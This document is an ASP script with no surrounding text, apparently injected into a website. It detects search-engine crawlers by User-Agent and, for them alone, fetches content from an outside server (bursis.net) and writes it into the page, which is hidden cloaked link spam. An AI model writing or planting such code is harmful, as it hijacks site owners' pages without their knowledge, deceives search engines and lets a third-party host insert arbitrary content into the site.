<% Dim strUserAgent : strUserAgent = Request.ServerVariables("HTTP_USER_AGENT") If inStr(1, strUserAgent, "Googlebot", 1) > 0 OR inStr(1, strUserAgent, "Mediapartners-Google", 1) > 0 OR inStr(1, strUserAgent, "ZyBorg", 1) > 0 OR inStr(1, strUserAgent, "slurp", 1) > 0 OR inStr(1, strUserAgent, "Scooter", 1) > 0 OR inStr(1, strUserAgent, "Robozilla", 1) > 0 OR inStr(1, strUserAgent, "Jeeves", 1) > 0 OR inStr(1, strUserAgent, "lycos", 1) > 0 OR inStr(1, strUserAgent, "ArchitextSpider", 1) > 0 OR inStr(1, strUserAgent, "Gulliver", 1) > 0 OR inStr(1, strUserAgent, "crawler@fast", 1) > 0 OR inStr(1, strUserAgent, "TurnitinBot", 1) > 0 OR inStr(1, strUserAgent, "internetseer", 1) > 0 OR inStr(1, strUserAgent, "nameprotect", 1) > 0 OR inStr(1, strUserAgent, "PhpDig", 1) > 0 OR inStr(1, strUserAgent, "StackRambler", 1) > 0 OR inStr(1, strUserAgent, "UbiCrawler", 1) > 0 OR inStr(1, strUserAgent, "Spider", 1) > 0 OR inStr(1, strUserAgent, "ia_archiver", 1) > 0 OR inStr(1, strUserAgent, "msnbot", 1) > 0 OR inStr(1, strUserAgent, "arianna.libero.it", 1) > 0 OR inStr(1, strUserAgent, "y2bot", 1) > 0 Then Dim objXMLHTTP:Set objXMLHTTP=Server.CreateObject("Microsoft.XMLHTTP"):objXMLHTTP.Open "GET","http://www.bursis.net/optimizasyon/Link.asp?SiteID=30&pozisyon=yatay&site="&Request.ServerVariables("HTTP_HOST")&"", False:objXMLHTTP.Send:strResultString=objXMLHTTP.ResponseText:Response.Write(objXMLHTTP.ResponseText):Set objXMLHTTP=Nothing End If %>